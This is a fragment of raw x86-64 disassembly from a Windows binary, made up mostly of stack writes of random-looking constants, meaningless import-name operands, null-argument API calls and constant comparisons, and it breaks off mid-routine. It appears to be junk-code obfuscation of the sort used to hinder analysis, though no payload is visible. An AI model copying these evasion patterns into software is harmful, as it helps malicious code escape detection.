movabs rax, 0x736b2f5eeecde1
mov qword [rsp + 0xbb80], rax
mov byte [rsp + 0x31c], 0
movabs rax, 0x7df1e47e4d0bfd
mov qword [rsp + 0xbb88], rax
movabs rax, 0x739541a963122f
mov qword [rsp + 0xbb90], rax
mov dword [rsp + 0x60ec], 0x4461
mov eax, 0x146
mov word [rsp + 0x1c90], ax
mov eax, 0x716
mov word [rsp + 0x1c94], ax
mov eax, 0xf09
mov word [rsp + 0x1c98], ax
mov byte [rsp + 0x31d], ILIsEqual
mov byte [rsp + 0x31e], 0x39
mov byte [rsp + 0x31f], reloc.SHELL32.dll_ILFindChild
mov eax, 0xc55
mov word [rsp + 0x1c9c], ax
mov dword [rsp + 0x60f0], 0xcdae
movabs rax, 0x7751c02d725a87
mov qword [rsp + 0xbb98], rax
movabs rax, 0x7160be56ac7e4d
mov qword [rsp + 0xbba0], rax
mov eax, 0x6b1
mov word [rsp + 0x1ca0], ax
movabs rax, 0x78c359306ce785
mov qword [rsp + 0xbba8], rax
mov byte [rsp + 0x320], 0x37
movabs rax, 0x70048300ee19c5
mov qword [rsp + 0xbbb0], rax
mov eax, 0x718
mov word [rsp + 0x1ca4], ax
mov byte [rsp + 0x321], 0x1f
mov eax, 0x2b6
mov word [rsp + 0x1ca8], ax
mov dword [rsp + 0x60f4], 0x436
mov eax, 0x35f
mov word [rsp + 0x1cac], ax
mov eax, 0x4e1
mov word [rsp + 0x1cb0], ax
movabs rax, 0x77bdf79bb075c8
mov qword [rsp + 0xbbb8], rax
movabs rax, 0x745f3cde79502e
mov qword [rsp + 0xbbc0], rax
mov eax, 0x1a6
mov word [rsp + 0x1cb4], ax
mov eax, 0x87d
mov word [rsp + 0x1cb8], ax
mov byte [rsp + 0x322], reloc.SHELL32.dll_ILClone
mov dword [rsp + 0x60f8], 0xfdc0
mov byte [rsp + 0x323], 0xc2
mov byte [rsp + 0x324], SHSetInstanceExplorer
mov byte [rsp + 0x325], 0x5b
mov eax, 0x6c6
mov word [rsp + 0x1cbc], ax
movabs rax, 0x728c8510c08059
mov qword [rsp + 0xbbc8], rax
mov eax, 0x639
mov word [rsp + 0x1cc0], ax
mov byte [rsp + 0x326], 0x76
mov eax, 0x202
mov word [rsp + 0x1cc4], ax
mov byte [rsp + 0x327], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x328], 6
movabs rax, 0x7122d4fa5dea1c
mov qword [rsp + 0xbbd0], rax
mov dword [rsp + 0x60fc], 0xa3ad68d
mov eax, 0x469
mov word [rsp + 0x1cc8], ax
mov eax, 0x4eb
mov word [rsp + 0x1ccc], ax
movabs rax, 0x71f8e736a139d2
mov qword [rsp + 0xbbd8], rax
mov dword [rsp + 0x6100], 0x5bfe2d79
mov byte [rsp + 0x329], 0x6a
movabs rax, 0x77adb4561cc5a4
mov qword [rsp + 0xbbe0], rax
mov byte [rsp + 0x32a], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x32b], 0x50
movabs rax, 0x746214c1048ad2
mov qword [rsp + 0xbbe8], rax
mov eax, 0x270
mov word [rsp + 0x1cd0], ax
mov byte [rsp + 0x32c], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x32d], SHDoDragDrop
movabs rax, 0x7e00b288dc6f6b
mov qword [rsp + 0xbbf0], rax
movabs rax, 0x72e63448daf809
mov qword [rsp + 0xbbf8], rax
mov byte [rsp + 0x32e], ILSaveToStream
mov dword [rsp + 0x6104], 0x6c6e
mov eax, 0xb7a
mov word [rsp + 0x1cd4], ax
mov eax, 0xe57
mov word [rsp + 0x1cd8], ax
mov eax, 0xf31
mov word [rsp + 0x1cdc], ax
movabs rax, 0x7827db7b3de173
mov qword [rsp + 0xbc00], rax
mov eax, 0x3e7
mov word [rsp + 0x1ce0], ax
mov dword [rsp + 0x6108], 0xff51
mov byte [rsp + 0x32f], PathMakeUniqueName
mov dword [rsp + 0x610c], 0x745a73d0
mov dword [rsp + 0x6110], 0xe98
mov eax, 0x235
mov word [rsp + 0x1ce4], ax
movabs rax, 0x7b39bc63fdce9d
mov qword [rsp + 0xbc08], rax
movabs rax, 0x71108a6007fef9
mov qword [rsp + 0xbc10], rax
mov eax, 0x8dd
mov word [rsp + 0x1ce8], ax
mov dword [rsp + 0x6114], 0x4fd18f9e
mov eax, 0x467
mov word [rsp + 0x1cec], ax
mov byte [rsp + 0x330], 0x64
mov dword [rsp + 0x6118], 0x4e802733
mov byte [rsp + 0x331], 0x23
movabs rax, 0x7e1d60b990e589
mov qword [rsp + 0xbc18], rax
mov eax, 0x43e
mov word [rsp + 0x1cf0], ax
mov dword [rsp + 0x611c], 0xd54e
mov byte [rsp + 0x332], PathYetAnotherMakeUniqueName
movabs rax, 0x797c2037a9dbfe
mov qword [rsp + 0xbc20], rax
movabs rax, 0x72dc9441226bee
mov qword [rsp + 0xbc28], rax
movabs rax, 0x77c2eb57106a11
mov qword [rsp + 0xbc30], rax
mov eax, 0x7db
mov word [rsp + 0x1cf4], ax
movabs rax, 0x7bbbb14d47464e
mov qword [rsp + 0xbc38], rax
mov dword [rsp + 0x6120], 0x1306
mov eax, 0x2d1
mov word [rsp + 0x1cf8], ax
mov eax, 0x23e
mov word [rsp + 0x1cfc], ax
movabs rax, 0x742fc501e1b02a
mov qword [rsp + 0xbc40], rax
mov dword [rsp + 0x6124], 0x2490232a
movabs rax, 0x731d4c96535eb5
mov qword [rsp + 0xbc48], rax
movabs rax, 0x774318dc241e82
mov qword [rsp + 0xbc50], rax
mov eax, 0x7c7
mov word [rsp + 0x1d00], ax
mov eax, 0x6e1
mov word [rsp + 0x1d04], ax
mov dword [rsp + 0x6128], 0x2bbc
mov eax, 0x123
mov word [rsp + 0x1d08], ax
movabs rax, 0x7bb2ca391cd2a7
mov qword [rsp + 0xbc58], rax
movabs rax, 0x744c1ae474d66e
mov qword [rsp + 0xbc60], rax
movabs rax, 0x750dc81f308a66
mov qword [rsp + 0xbc68], rax
movabs rax, 0x7d21a0edbb5ed2
mov qword [rsp + 0xbc70], rax
mov eax, 0x5a
mov word [rsp + 0x1d0c], ax
movabs rax, 0x7a92d1bb5196ba
mov qword [rsp + 0xbc78], rax
mov byte [rsp + 0x333], PathMakeUniqueName
movabs rax, 0x7421b401f1d5b2
mov qword [rsp + 0xbc80], rax
mov eax, 0xd1a
mov word [rsp + 0x1d10], ax
mov byte [rsp + 0x334], SHTestTokenMembership
mov dword [rsp + 0x612c], 0x48cfd6a6
mov byte [rsp + 0x335], ILIsEqual
mov eax, 0x2a9
mov word [rsp + 0x1d14], ax
mov dword [rsp + 0x6130], 0x8f64
mov byte [rsp + 0x336], SHGetNewLinkInfoW
mov eax, 0xcb0
mov word [rsp + 0x1d18], ax
mov eax, 0x935
mov word [rsp + 0x1d1c], ax
mov eax, 0x6f2
mov word [rsp + 0x1d20], ax
movabs rax, 0x7a77d7de1873bb
mov qword [rsp + 0xbc88], rax
movabs rax, 0x703772ec4f7591
mov qword [rsp + 0xbc90], rax
movabs rax, 0x76bc9410948097
mov qword [rsp + 0xbc98], rax
movabs rax, 0x752d64d3e39d5a
mov qword [rsp + 0xbca0], rax
mov byte [rsp + 0x337], 0x6e
movabs rax, 0x7625841d8466f8
mov qword [rsp + 0xbca8], rax
mov eax, 0x29c
mov word [rsp + 0x1d24], ax
movabs rax, 0x7ba7abecf34db0
mov qword [rsp + 0xbcb0], rax
mov dword [rsp + 0x6134], 0x60a0591e
mov byte [rsp + 0x338], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x339], 0xfe
mov byte [rsp + 0x33a], 0x64
movabs rax, 0x7d566bea18aeab
mov qword [rsp + 0xbcb8], rax
mov eax, 0x483
mov word [rsp + 0x1d28], ax
movabs rax, 0x7a38733b609ba7
mov qword [rsp + 0xbcc0], rax
mov eax, 0x4ca
mov word [rsp + 0x1d2c], ax
mov byte [rsp + 0x33b], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0x8db
mov word [rsp + 0x1d30], ax
mov eax, 0x842
mov word [rsp + 0x1d34], ax
mov byte [rsp + 0x33c], 0x70
mov eax, 0x6e0
mov word [rsp + 0x1d38], ax
movabs rax, 0x72b340d81b8809
mov qword [rsp + 0xbcc8], rax
movabs rax, 0x7480c37ead0b0e
mov qword [rsp + 0xbcd0], rax
movabs rax, 0x7b3c0e4d7abe29
mov qword [rsp + 0xbcd8], rax
mov eax, 0x793
mov word [rsp + 0x1d3c], ax
mov byte [rsp + 0x33d], 0xb9
mov dword [rsp + 0x6138], 0xd7fb
movabs rax, 0x7d1690fafbaee6
mov qword [rsp + 0xbce0], rax
movabs rax, 0x79f5b7892732be
mov qword [rsp + 0xbce8], rax
mov byte [rsp + 0x33e], 0x66
mov eax, 0xb0d
mov word [rsp + 0x1d40], ax
mov eax, 0x62a
mov word [rsp + 0x1d44], ax
mov eax, 0x260
mov word [rsp + 0x1d48], ax
mov dword [rsp + 0x613c], 0x9136
mov eax, SHDoDragDrop
mov word [rsp + 0x1d4c], ax
mov byte [rsp + 0x33f], 0x78
mov byte [rsp + 0x340], 0x76
movabs rax, 0x7b2c803a96e26f
mov qword [rsp + 0xbcf0], rax
movabs rax, 0x74008d214ce417
mov qword [rsp + 0xbcf8], rax
mov dword [rsp + 0x6140], 0x5829f21f
mov eax, 0x8c7
mov word [rsp + 0x1d50], ax
mov dword [rsp + 0x6144], 0x516d2c16
mov dword [rsp + 0x6148], 0x346ace3d
mov byte [rsp + 0x341], 0x6f
mov eax, 0x5f9
mov word [rsp + 0x1d54], ax
mov dword [rsp + 0x614c], 0x7707a7af
mov dword [rsp + 0x6150], 0xe69c
movabs rax, 0x74a7e455cc04bc
mov qword [rsp + 0xbd00], rax
movabs rax, 0x7e53ed1b4a5458
mov qword [rsp + 0xbd08], rax
movabs rax, 0x7829c88a52dcfc
mov qword [rsp + 0xbd10], rax
mov eax, 0x386
mov word [rsp + 0x1d58], ax
mov dword [rsp + 0x6154], 0x84ba
movabs rax, 0x7044e7207c2c3a
mov qword [rsp + 0xbd18], rax
movabs rax, 0x764b5ab943a4ce
mov qword [rsp + 0xbd20], rax
mov dword [rsp + 0x6158], 0x34058ade
mov byte [rsp + 0x342], 2
movabs rax, 0x720f5dbb538294
mov qword [rsp + 0xbd28], rax
movabs rax, 0x722b29ab200dad
mov qword [rsp + 0xbd30], rax
mov byte [rsp + 0x343], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov eax, 0x165
mov word [rsp + 0x1d5c], ax
mov eax, 0xcd4
mov word [rsp + 0x1d60], ax
mov eax, 0x7cc
mov word [rsp + 0x1d64], ax
mov byte [rsp + 0x344], 0xe6
mov eax, 0x978
mov word [rsp + 0x1d68], ax
movabs rax, 0x7b4b7ee18837bd
mov qword [rsp + 0xbd38], rax
mov eax, 0x264
mov word [rsp + 0x1d6c], ax
movabs rax, 0x70a592b2f7e327
mov qword [rsp + 0xbd40], rax
mov byte [rsp + 0x345], ILIsEqual
mov eax, 0xca4
mov word [rsp + 0x1d70], ax
movabs rax, 0x76c896fbdf1d5b
mov qword [rsp + 0xbd48], rax
mov dword [rsp + 0x615c], 0x17d6ca0
mov eax, 0x24b
mov word [rsp + 0x1d74], ax
mov dword [rsp + 0x6160], 0x2cd6
mov eax, 0x397
mov word [rsp + 0x1d78], ax
movabs rax, 0x78c986412ec4cc
mov qword [rsp + 0xbd50], rax
mov eax, 0x7af
mov word [rsp + 0x1d7c], ax
mov eax, 0x406
mov word [rsp + 0x1d80], ax
movabs rax, 0x7559a440180678
mov qword [rsp + 0xbd58], rax
movabs rax, 0x7ce8314fda828a
mov qword [rsp + 0xbd60], rax
movabs rax, 0x7516d35ae85737
mov qword [rsp + 0xbd68], rax
mov eax, 0xbff
mov word [rsp + 0x1d84], ax
mov dword [rsp + 0x6164], 0x3e6b
mov byte [rsp + 0x346], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0x17e
mov word [rsp + 0x1d88], ax
movabs rax, 0x7843ecec27b5fc
mov qword [rsp + 0xbd70], rax
mov dword [rsp + 0x6168], 0x35db
movabs rax, 0x7aa60e84a2364b
mov qword [rsp + 0xbd78], rax
mov dword [rsp + 0x616c], 0x73397f6d
movabs rax, 0x777ba07dabbe4d
mov qword [rsp + 0xbd80], rax
mov dword [rsp + 0x6170], 0x35b9
mov dword [rsp + 0x6174], 0x584
mov eax, 0x44f
mov word [rsp + 0x1d8c], ax
mov dword [rsp + 0x6178], 0xb74
mov eax, 0x220
mov word [rsp + 0x1d90], ax
mov dword [rsp + 0x617c], 0xc604
mov dword [rsp + 0x6180], 0x2b3d
movabs rax, 0x7857cfdb2deefd
mov qword [rsp + 0xbd88], rax
mov dword [rsp + 0x6184], 0x29dc
mov byte [rsp + 0x347], ILSaveToStream
mov eax, 0x394
mov word [rsp + 0x1d94], ax
movabs rax, 0x7aeb6b714febd9
mov qword [rsp + 0xbd90], rax
movabs rax, 0x7065813149d2b5
mov qword [rsp + 0xbd98], rax
mov eax, 0xde5
mov word [rsp + 0x1d98], ax
mov dword [rsp + 0x6188], 0x34e93b6b
mov dword [rsp + 0x618c], 0x11ca
mov byte [rsp + 0x348], SHDoDragDrop
mov dword [rsp + 0x6190], 0xd869
movabs rax, 0x7371aab527df75
mov qword [rsp + 0xbda0], rax
mov eax, 0xde0
mov word [rsp + 0x1d9c], ax
mov byte [rsp + 0x349], 0x3c
movabs rax, 0x7a52bf4958eb2e
mov qword [rsp + 0xbda8], rax
mov dword [rsp + 0x6194], 0x2e5a
mov eax, 0xd52
mov word [rsp + 0x1da0], ax
mov eax, 0x194
mov word [rsp + 0x1da4], ax
mov eax, 0x316
mov word [rsp + 0x1da8], ax
movabs rax, 0x749c50a3c288cb
mov qword [rsp + 0xbdb0], rax
mov dword [rsp + 0x6198], 0x72f3b31c
mov eax, 0x466
mov word [rsp + 0x1dac], ax
mov eax, 0x4f
mov word [rsp + 0x1db0], ax
movabs rax, 0x7435044c728ed9
mov qword [rsp + 0xbdb8], rax
mov eax, 0x7c
mov word [rsp + 0x1db4], ax
mov eax, 0x894
mov word [rsp + 0x1db8], ax
mov byte [rsp + 0x34a], PathMakeUniqueName
mov dword [rsp + 0x619c], 0x449e97d2
mov eax, 0xa2f
mov word [rsp + 0x1dbc], ax
movabs rax, 0x77163bcb96b833
mov qword [rsp + 0xbdc0], rax
mov eax, 0x53d
mov word [rsp + 0x1dc0], ax
mov dword [rsp + 0x61a0], 0x6b83e044
movabs rax, 0x76c21e3d3342bf
mov qword [rsp + 0xbdc8], rax
movabs rax, 0x76feb5595631fe
mov qword [rsp + 0xbdd0], rax
mov byte [rsp + 0x34b], 0x24
mov byte [rsp + 0x34c], 6
mov dword [rsp + 0x61a4], 0x954d
movabs rax, 0x786c2d5a6c4382
mov qword [rsp + 0xbdd8], rax
mov eax, 0x740
mov word [rsp + 0x1dc4], ax
movabs rax, 0x798fc26ae27f54
mov qword [rsp + 0xbde0], rax
movabs rax, 0x7e421e88242eda
mov qword [rsp + 0xbde8], rax
movabs rax, 0x78fd4a2198c7a5
mov qword [rsp + 0xbdf0], rax
mov byte [rsp + 0x34d], 0x1f
mov eax, 0x505
mov word [rsp + 0x1dc8], ax
mov byte [rsp + 0x34e], 0x59
mov dword [rsp + 0x61a8], 0x6eef
movabs rax, 0x71d6d337431321
mov qword [rsp + 0xbdf8], rax
movabs rax, 0x74b749c8ca8693
mov qword [rsp + 0xbe00], rax
mov eax, 0x374
mov word [rsp + 0x1dcc], ax
mov eax, 0xa7
mov word [rsp + 0x1dd0], ax
movabs rax, 0x7339347b3d37c2
mov qword [rsp + 0xbe08], rax
mov dword [rsp + 0x61ac], 0xe49b
mov eax, 0x692
mov word [rsp + 0x1dd4], ax
movabs rax, 0x7eeaf94a125c75
mov qword [rsp + 0xbe10], rax
mov dword [rsp + 0x61b0], 0x75be
mov eax, 0x44c
mov word [rsp + 0x1dd8], ax
mov dword [rsp + 0x61b4], 0xfb83
movabs rax, 0x7c350e8c64d53d
mov qword [rsp + 0xbe18], rax
movabs rax, 0x7edd527caaf989
mov qword [rsp + 0xbe20], rax
movabs rax, 0x7cbb1417f3f3d4
mov qword [rsp + 0xbe28], rax
mov eax, 0x465
mov word [rsp + 0x1ddc], ax
movabs rax, 0x782fbcdc39036a
mov qword [rsp + 0xbe30], rax
movabs rax, 0x7e981f224ddf2a
mov qword [rsp + 0xbe38], rax
movabs rax, 0x790e34c0fb5b8f
mov qword [rsp + 0xbe40], rax
movabs rax, 0x77a0fdce42782a
mov qword [rsp + 0xbe48], rax
mov eax, 0x4e0
mov word [rsp + 0x1de0], ax
movabs rax, 0x7afc27abb1ec57
mov qword [rsp + 0xbe50], rax
mov byte [rsp + 0x34f], 0x84
mov eax, 0x51c
mov word [rsp + 0x1de4], ax
mov eax, 0xd5
mov word [rsp + 0x1de8], ax
mov byte [rsp + 0x350], 0x9c
movabs rax, 0x75d553e109c9b4
mov qword [rsp + 0xbe58], rax
movabs rax, 0x7e49adcf1c16f3
mov qword [rsp + 0xbe60], rax
movabs rax, 0x757ea382e11309
mov qword [rsp + 0xbe68], rax
mov eax, 0x335
mov word [rsp + 0x1dec], ax
mov eax, 0x36e
mov word [rsp + 0x1df0], ax
mov dword [rsp + 0x61b8], 0x54645aa0
mov eax, 0xa14
mov word [rsp + 0x1df4], ax
mov byte [rsp + 0x351], PathMakeUniqueName
mov dword [rsp + 0x61bc], 0x9e32
movabs rax, 0x7429513989d804
mov qword [rsp + 0xbe70], rax
mov eax, 0x40c
mov word [rsp + 0x1df8], ax
movabs rax, 0x7a0be8d8474fae
mov qword [rsp + 0xbe78], rax
movabs rax, 0x7e2645db860f18
mov qword [rsp + 0xbe80], rax
mov eax, 0x291
mov word [rsp + 0x1dfc], ax
mov eax, 0xd52
mov word [rsp + 0x1e00], ax
movabs rax, 0x7c8edfbae4a45d
mov qword [rsp + 0xbe88], rax
mov byte [rsp + 0x352], ILSaveToStream
mov dword [rsp + 0x61c0], 0x7b1d
mov eax, 0x6da
mov word [rsp + 0x1e04], ax
mov byte [rsp + 0x353], 0x77
mov dword [rsp + 0x61c4], 0x387d
mov byte [rsp + 0x354], 0x7e
mov eax, 0x660
mov word [rsp + 0x1e08], ax
mov byte [rsp + 0x355], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x61c8], 0x92a2
movabs rax, 0x7a95e70a164a1d
mov qword [rsp + 0xbe90], rax
movabs rax, 0x77e567cfab74b1
mov qword [rsp + 0xbe98], rax
mov dword [rsp + 0x61cc], 0x26720907
mov dword [rsp + 0x61d0], 0x4821
mov eax, 0x4d6
mov word [rsp + 0x1e0c], ax
mov eax, 0x7e
mov word [rsp + 0x1e10], ax
mov byte [rsp + 0x356], 0x34
mov eax, 0x765
mov word [rsp + 0x1e14], ax
movabs rax, 0x72e9002b361f46
mov qword [rsp + 0xbea0], rax
mov byte [rsp + 0x357], 0x38
mov eax, 0x122
mov word [rsp + 0x1e18], ax
mov eax, 0x218
mov word [rsp + 0x1e1c], ax
mov dword [rsp + 0x61d4], 0x6cdb
mov dword [rsp + 0x61d8], 0xb962
mov byte [rsp + 0x358], 0x35
mov eax, 0x27c
mov word [rsp + 0x1e20], ax
mov eax, 0x332
mov word [rsp + 0x1e24], ax
mov eax, 0x189
mov word [rsp + 0x1e28], ax
mov dword [rsp + 0x61dc], 0xc816
mov dword [rsp + 0x61e0], 0x3d50
mov dword [rsp + 0x61e4], 0x7cad9c69
mov eax, 0x3df
mov word [rsp + 0x1e2c], ax
movabs rax, 0x712d9ced17f25a
mov qword [rsp + 0xbea8], rax
mov eax, 0xb97
mov word [rsp + 0x1e30], ax
movabs rax, 0x7d06897a8c561e
mov qword [rsp + 0xbeb0], rax
mov eax, 0x4f1
mov word [rsp + 0x1e34], ax
mov byte [rsp + 0x359], 0x5a
mov eax, 0x548
mov word [rsp + 0x1e38], ax
mov dword [rsp + 0x61e8], 0x30f
mov byte [rsp + 0x35a], ILIsEqual
movabs rax, 0x7bc45c9558fe59
mov qword [rsp + 0xbeb8], rax
mov byte [rsp + 0x35b], 0x43
mov byte [rsp + 0x35c], 0x64
mov eax, 0x74a
mov word [rsp + 0x1e3c], ax
movabs rax, 0x724eb724acbacf
mov qword [rsp + 0xbec0], rax
mov eax, 0x160
mov word [rsp + 0x1e40], ax
mov dword [rsp + 0x61ec], 0xd23a9dc
mov byte [rsp + 0x35d], SHTestTokenMembership
movabs rax, 0x73cf8907102471
mov qword [rsp + 0xbec8], rax
movabs rax, 0x77707b3ba04b52
mov qword [rsp + 0xbed0], rax
mov byte [rsp + 0x35e], 3
mov eax, 0x6ea
mov word [rsp + 0x1e44], ax
movabs rax, 0x7bac47c55ce70c
mov qword [rsp + 0xbed8], rax
mov dword [rsp + 0x61f0], 0x3ec3
mov dword [rsp + 0x61f4], 0x4ecccdb2
movabs rax, 0x714cc9d015d15b
mov qword [rsp + 0xbee0], rax
mov eax, 0x5f0
mov word [rsp + 0x1e48], ax
mov eax, 0x3a6
mov word [rsp + 0x1e4c], ax
movabs rax, 0x7a518ddf012d4c
mov qword [rsp + 0xbee8], rax
mov eax, 0x61f
mov word [rsp + 0x1e50], ax
mov eax, 0x2ab
mov word [rsp + 0x1e54], ax
mov eax, 0x34c
mov word [rsp + 0x1e58], ax
mov dword [rsp + 0x61f8], 0x26a57496
mov eax, 0x318
mov word [rsp + 0x1e5c], ax
movabs rax, 0x79167b91e798a8
mov qword [rsp + 0xbef0], rax
movabs rax, 0x79690112f1e4da
mov qword [rsp + 0xbef8], rax
movabs rax, 0x728701ff97b1f5
mov qword [rsp + 0xbf00], rax
mov byte [rsp + 0x35f], 0x68
mov dword [rsp + 0x61fc], 0x5a0a
mov dword [rsp + 0x6200], 0x387c0a1d
movabs rax, 0x7480eba91fe730
mov qword [rsp + 0xbf08], rax
movabs rax, 0x7a4d954597a538
mov qword [rsp + 0xbf10], rax
mov dword [rsp + 0x6204], 0x372d
mov byte [rsp + 0x360], 0x6a
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x1e60], ax
mov byte [rsp + 0x361], 0x61
movabs rax, 0x7ae7649bdc4c89
mov qword [rsp + 0xbf18], rax
mov eax, 0x6bf
mov word [rsp + 0x1e64], ax
mov eax, 0x6d
mov word [rsp + 0x1e68], ax
mov eax, 0x484
mov word [rsp + 0x1e6c], ax
movabs rax, 0x778a086b36a07c
mov qword [rsp + 0xbf20], rax
mov byte [rsp + 0x362], 0x75
movabs rax, 0x7c219484b167bf
mov qword [rsp + 0xbf28], rax
movabs rax, 0x7ec167273a59ac
mov qword [rsp + 0xbf30], rax
mov byte [rsp + 0x363], ILIsEqual
mov byte [rsp + 0x364], SHTestTokenMembership
mov dword [rsp + 0x6208], 0xa038
mov eax, 0xa4c
mov word [rsp + 0x1e70], ax
mov eax, 0x547
mov word [rsp + 0x1e74], ax
mov dword [rsp + 0x620c], 0x9860
mov byte [rsp + 0x365], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x2ac
mov word [rsp + 0x1e78], ax
mov dword [rsp + 0x6210], 0x2dd6c614
mov eax, 0x582
mov word [rsp + 0x1e7c], ax
movabs rax, 0x7c00105bd15639
mov qword [rsp + 0xbf38], rax
mov eax, 0xdd3
mov word [rsp + 0x1e80], ax
mov eax, 0x3ac
mov word [rsp + 0x1e84], ax
mov byte [rsp + 0x366], reloc.SHELL32.dll_ILClone
mov eax, 0x2c9
mov word [rsp + 0x1e88], ax
mov eax, 0xe02
mov word [rsp + 0x1e8c], ax
mov dword [rsp + 0x6214], 0x62bb878a
mov eax, 0x799
mov word [rsp + 0x1e90], ax
mov eax, 0x38
mov word [rsp + 0x1e94], ax
mov byte [rsp + 0x367], 0xe2
mov dword [rsp + 0x6218], 0xe850
mov eax, 0x4d
mov word [rsp + 0x1e98], ax
movabs rax, 0x7d5d5dce7b4ec2
mov qword [rsp + 0xbf40], rax
mov byte [rsp + 0x368], 0xeb
mov eax, reloc.SHELL32.dll_PathMakeUniqueName
mov word [rsp + 0x1e9c], ax
mov eax, 0x6a1
mov word [rsp + 0x1ea0], ax
mov eax, 0x7c5
mov word [rsp + 0x1ea4], ax
mov eax, 0x7e9
mov word [rsp + 0x1ea8], ax
mov eax, 0x4f8
mov word [rsp + 0x1eac], ax
mov dword [rsp + 0x621c], 0x32c16676
mov eax, 0xd92
mov word [rsp + 0x1eb0], ax
mov eax, 0x205
mov word [rsp + 0x1eb4], ax
movabs rax, 0x73dabdf536ed05
mov qword [rsp + 0xbf48], rax
movabs rax, 0x7a28b439769d0f
mov qword [rsp + 0xbf50], rax
mov byte [rsp + 0x369], 0x5c
mov eax, 0x3a0
mov word [rsp + 0x1eb8], ax
mov byte [rsp + 0x36a], 0x63
mov dword [rsp + 0x6220], 0x4257
mov dword [rsp + 0x6224], 0x374cd4ea
movabs rax, 0x7eea777a845885
mov qword [rsp + 0xbf58], rax
movabs rax, 0x75c1ee5b3489a6
mov qword [rsp + 0xbf60], rax
mov byte [rsp + 0x36b], 0x4c
movabs rax, 0x7e39c59c2b2f4d
mov qword [rsp + 0xbf68], rax
mov dword [rsp + 0x6228], 0x75b3
movabs rax, 0x774f145fab4944
mov qword [rsp + 0xbf70], rax
mov eax, 0x672
mov word [rsp + 0x1ebc], ax
movabs rax, 0x700fc71cea90e7
mov qword [rsp + 0xbf78], rax
mov eax, 0x160
mov word [rsp + 0x1ec0], ax
movabs rax, 0x7d232c2ed2b947
mov qword [rsp + 0xbf80], rax
movabs rax, 0x72538618a22753
mov qword [rsp + 0xbf88], rax
movabs rax, 0x702c938ffb28ab
mov qword [rsp + 0xbf90], rax
movabs rax, 0x788204d47ea0b4
mov qword [rsp + 0xbf98], rax
mov dword [rsp + 0x622c], 0x40feec1d
mov dword [rsp + 0x6230], 0x1c04
mov byte [rsp + 0x36c], 0xb5
mov dword [rsp + 0x6234], 0x2254
mov eax, 0x1e7
mov word [rsp + 0x1ec4], ax
mov byte [rsp + 0x36d], 0x27
mov eax, 0x5ea
mov word [rsp + 0x1ec8], ax
movabs rax, 0x719383d82c8250
mov qword [rsp + 0xbfa0], rax
movabs rax, 0x7013ee75f32182
mov qword [rsp + 0xbfa8], rax
movabs rax, 0x77e1b2ba993cb0
mov qword [rsp + 0xbfb0], rax
movabs rax, 0x73f384f537fa44
mov qword [rsp + 0xbfb8], rax
movabs rax, 0x7d0ab656419184
mov qword [rsp + 0xbfc0], rax
mov eax, 0xf7
mov word [rsp + 0x1ecc], ax
movabs rax, 0x799e38b3dc1b13
mov qword [rsp + 0xbfc8], rax
mov byte [rsp + 0x36e], 0x3b
movabs rax, 0x7947cfe30eb085
mov qword [rsp + 0xbfd0], rax
mov eax, 0xb42
mov word [rsp + 0x1ed0], ax
mov byte [rsp + 0x36f], 0x41
mov eax, 0x411
mov word [rsp + 0x1ed4], ax
movabs rax, 0x71d72ec5c1a98b
mov qword [rsp + 0xbfd8], rax
mov eax, 0x572
mov word [rsp + 0x1ed8], ax
mov byte [rsp + 0x370], 0x7c
mov byte [rsp + 0x371], 0x42
mov eax, 0x47a
mov word [rsp + 0x1edc], ax
mov dword [rsp + 0x6238], 0x54d5cf94
mov eax, 0x5b9
mov word [rsp + 0x1ee0], ax
mov byte [rsp + 0x372], 0x25
mov eax, 0x962
mov word [rsp + 0x1ee4], ax
movabs rax, 0x7c0aee71803c98
mov qword [rsp + 0xbfe0], rax
mov eax, 0x14e
mov word [rsp + 0x1ee8], ax
movabs rax, 0x73a9fe2cee8a9e
mov qword [rsp + 0xbfe8], rax
movabs rax, 0x7a3835d9f3a0fb
mov qword [rsp + 0xbff0], rax
mov eax, 0x1be
mov word [rsp + 0x1eec], ax
mov dword [rsp + 0x623c], 0x10f7da4e
mov dword [rsp + 0x6240], 0xee52
mov dword [rsp + 0x6244], 0x4974
mov eax, 0x408
mov word [rsp + 0x1ef0], ax
mov eax, 0x76a
mov word [rsp + 0x1ef4], ax
mov eax, 0x947
mov word [rsp + 0x1ef8], ax
mov eax, 0x799
mov word [rsp + 0x1efc], ax
movabs rax, 0x71602ff24d52c4
mov qword [rsp + 0xbff8], rax
mov byte [rsp + 0x373], 0xc8
mov eax, 0x192
mov word [rsp + 0x1f00], ax
movabs rax, 0x77ff91dd271f6d
mov qword [rsp + 0xc000], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movabs rax, 0x7ec94732a595d9
mov qword [rsp + 0xc008], rax
movsx eax, byte [rsp + 0x1d7]
add eax, 0x31
mov byte [rsp + 0x1d7], al
mov dword [rsp + 0x6248], 0xe31c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc010], rax
mov dword [rsp + 0x624c], 0x5e78
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xc008]
mov qword [rsp + 0xc018], rax
movabs rax, 0x7045ff8c3d8f4e
cmp qword [rsp + 0xc018], rax
je 0x140197a5b
movabs rax, 0x7ec94732a595d9
cmp qword [rsp + 0xc018], rax
je 0x14000fa08
jmp 0x140197ac5
lea rcx, str.VgoN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f04], ax
mov dword [rsp + 0x6250], 0x903a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, byte [rsp + 0x1d7]
sar eax, 1
mov byte [rsp + 0x1d7], al
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
mov dword [rsp + 0x6254], 0x5cb8
lea rcx, str.CeV0TY8_IJ06sQI_elPnSWev91S70
